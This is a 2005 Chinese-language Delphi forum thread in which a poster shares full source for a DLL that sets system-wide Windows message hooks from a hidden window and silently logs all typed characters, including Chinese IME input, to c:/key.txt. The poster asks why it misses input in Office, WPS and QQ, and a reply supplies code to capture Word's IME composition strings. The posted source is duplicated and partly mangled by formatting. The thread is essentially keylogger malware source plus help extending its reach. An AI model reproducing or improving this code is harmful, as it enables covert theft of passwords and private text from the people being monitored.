为什么无法完全记录汉字输入 ( 积分: 100 )

leeshen · 2005-10-28

使用消息过滤，在后台抓取输入的的汉字，在notepad.exe中可以，但是在office,wps,qq等软件中无法记录下输入的汉字，不止为什么？请帮助解答！ library GetKey; uses windows,messages,sysutils; {$r *.res} const  HookMemFileName='HookMemFile.DTA'; type  PShared=^TShared;  PWin=^TWin;  TShared = record    HHGetMsgProc:HHook;    HHCallWndProc:HHook;    Self:integer;    Count:integer;    hinst:integer;  end;  TWin = record    Msg:TMsg;    wClass:TWndClass;    hMain:integer;  end; var  MemFile:THandle;  Shared

Shared;  Win:TWin; procedure SaveInfo(str:string);stdcall; var  f:textfile; begin  assignfile(f,'c:/key.txt');  if fileexists('c:/key.txt')=false then rewrite(f)  else append(f);  if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')  else write(f,str);  closefile(f); end; procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall; begin  if (uMessage=WM_CHAR) and (lParam<>1) then  begin    SaveInfo(format('%s',[chr(wparam and $ff)]));    inc(shared^.count);    if shared^.count>60 then    begin      SaveInfo('#13#10');      shared^.count:=0;    end;  end;  if (uMessage=WM_IME_CHAR) then  begin    SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));    inc(shared^.count,2);  end; end; function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var  pcs

MSG;  hd,uMsg,wP,lP:integer; begin  pcs:=PMSG(lParam);  if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then  begin    hd:=pcs^.hwnd;    uMsg:=pcs^.message;    wp:=pcs^.wParam;    lp:=pcs^.lParam;    HookProc(hd,uMsg,wp,lp);  end;  Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam); end; function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var  pcs

CWPSTRUCT;  hd,uMsg,wP,lP:integer; begin  pcs:=PCWPSTRUCT(lParam);  if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then  begin    hd:=pcs^.hwnd;    uMsg:=pcs^.message;    wp:=pcs^.wParam;    lp:=pcs^.lParam;    HookProc(hd,uMsg,wp,lp);  end;  Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam); end; procedure SetHook(fSet:boolean); begin  with shared^ do  if fSet=true then  begin    if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);    if HHCallWndProc=0 then    begin      HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);      if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);    end;  end else  begin    if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);    if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);    HHGetMsgProc:=0;    HHCallWndProc:=0;  end; end; procedure Extro; begin  UnmapViewOfFile(Shared);  CloseHandle(MemFile); end; function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall; begin  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);  case Msg of  wm_destroy:    begin      SetHook(False);      ExitThread(0);      freelibrary(shared^.hinst); //      TerminateThread();      //exitprocess(0);    end;  end; end; procedure run;stdcall; begin  win.wClass.lpfnWndProc:=   @WindowProc;  win.wClass.hInstance:=     hInstance;  win.wClass.lpszClassName:='GetKey';  RegisterClass(win.wClass);  win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);  FillChar(Shared^,SizeOf(TShared),0);  shared^.self:=win.hmain;  shared^.hinst:=hinstance;  SetHook(true);  postmessage(findwindow('WinExec',nil),wm_destroy,0,0);  while(GetMessage(win.Msg,win.hmain,0,0))do  begin    TranslateMessage(win.Msg);    DispatchMessage(win.Msg);  end; end; procedure DllEntryPoint(fdwReason

WORD); begin  case fdwReason of  DLL_PROCESS_DETACH:    Extro;  end; end; exports run; begin  //建立内存映象文件，用来保存全局变量  MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);  Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);  DLLProc:=@DllEntryPoint; end.

leeshen · 2005-10-28

使用消息过滤，在后台抓取输入的的汉字，在notepad.exe中可以，但是在office,wps,qq等软件中无法记录下输入的汉字，不止为什么？请帮助解答！ library GetKey; uses windows,messages,sysutils; {$r *.res} const  HookMemFileName='HookMemFile.DTA'; type  PShared=^TShared;  PWin=^TWin;  TShared = record    HHGetMsgProc:HHook;    HHCallWndProc:HHook;    Self:integer;    Count:integer;    hinst:integer;  end;  TWin = record    Msg:TMsg;    wClass:TWndClass;    hMain:integer;  end; var  MemFile:THandle;  Shared

Shared;  Win:TWin; procedure SaveInfo(str:string);stdcall; var  f:textfile; begin  assignfile(f,'c:/key.txt');  if fileexists('c:/key.txt')=false then rewrite(f)  else append(f);  if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')  else write(f,str);  closefile(f); end; procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall; begin  if (uMessage=WM_CHAR) and (lParam<>1) then  begin    SaveInfo(format('%s',[chr(wparam and $ff)]));    inc(shared^.count);    if shared^.count>60 then    begin      SaveInfo('#13#10');      shared^.count:=0;    end;  end;  if (uMessage=WM_IME_CHAR) then  begin    SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));    inc(shared^.count,2);  end; end; function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var  pcs

MSG;  hd,uMsg,wP,lP:integer; begin  pcs:=PMSG(lParam);  if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then  begin    hd:=pcs^.hwnd;    uMsg:=pcs^.message;    wp:=pcs^.wParam;    lp:=pcs^.lParam;    HookProc(hd,uMsg,wp,lp);  end;  Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam); end; function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var  pcs

CWPSTRUCT;  hd,uMsg,wP,lP:integer; begin  pcs:=PCWPSTRUCT(lParam);  if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then  begin    hd:=pcs^.hwnd;    uMsg:=pcs^.message;    wp:=pcs^.wParam;    lp:=pcs^.lParam;    HookProc(hd,uMsg,wp,lp);  end;  Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam); end; procedure SetHook(fSet:boolean); begin  with shared^ do  if fSet=true then  begin    if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);    if HHCallWndProc=0 then    begin      HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);      if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);    end;  end else  begin    if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);    if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);    HHGetMsgProc:=0;    HHCallWndProc:=0;  end; end; procedure Extro; begin  UnmapViewOfFile(Shared);  CloseHandle(MemFile); end; function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall; begin  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);  case Msg of  wm_destroy:    begin      SetHook(False);      ExitThread(0);      freelibrary(shared^.hinst); //      TerminateThread();      //exitprocess(0);    end;  end; end; procedure run;stdcall; begin  win.wClass.lpfnWndProc:=   @WindowProc;  win.wClass.hInstance:=     hInstance;  win.wClass.lpszClassName:='GetKey';  RegisterClass(win.wClass);  win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);  FillChar(Shared^,SizeOf(TShared),0);  shared^.self:=win.hmain;  shared^.hinst:=hinstance;  SetHook(true);  postmessage(findwindow('WinExec',nil),wm_destroy,0,0);  while(GetMessage(win.Msg,win.hmain,0,0))do  begin    TranslateMessage(win.Msg);    DispatchMessage(win.Msg);  end; end; procedure DllEntryPoint(fdwReason

WORD); begin  case fdwReason of  DLL_PROCESS_DETACH:    Extro;  end; end; exports run; begin  //建立内存映象文件，用来保存全局变量  MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);  Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);  DLLProc:=@DllEntryPoint; end.

jingtao · 2005-11-08

当然.因为方法不对

leeshen · 2005-11-11

请jingtao指教

iamxutao · 2005-11-13

如何截取Word中的汉字? 在全局钩子函数中，拦截消息WM_CHAR（得到字符数据），WM_IME_CHAR（普通的汉字数据），WM_IME_COMPOSITION（特殊的汉字数据，如WORD中汉字），如果是WM_IME_COMPOSITION消息，要利用ImmGetCompositionString函数得到所输入的汉字。

leeshen · 2005-11-19

请教iamxutao，能否给出的代码？谢谢。

gudubinghe · 2005-11-19

我对这个也很感兴趣。关注

iamxutao · 2005-11-20

var  him:HIMC;  dsize:dword;  text

Char; if uMessage=WM_IME_COMPOSITION then begin  hIM := ImmGetContext(hWnd);   // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.  dSize := ImmGetCompositionString(hIM, GCS_RESULTSTR, nil, 0);  dSize := dSize+sizeof(WCHAR);  // 再调用一次.ImmGetCompositionString获取字符串  ImmGetCompositionString(hIM, GCS_RESULTSTR, text, dSize);  //text中为中文输入  messagebox(0,text,text,MB_OK);  ImmReleaseContext(hWnd, hIM); end;

leeshen · 2005-11-30

楼上的方法不行啊，出现被监视程序的非法访问内存！！！

为什么无法完全记录汉字输入 ( 积分: 100 )

leeshen

Unregistered / Unconfirmed

leeshen

Unregistered / Unconfirmed

jingtao

Unregistered / Unconfirmed

leeshen

Unregistered / Unconfirmed

iamxutao

Unregistered / Unconfirmed

leeshen

Unregistered / Unconfirmed

gudubinghe

Unregistered / Unconfirmed

iamxutao

Unregistered / Unconfirmed

leeshen

Unregistered / Unconfirmed

Similar threads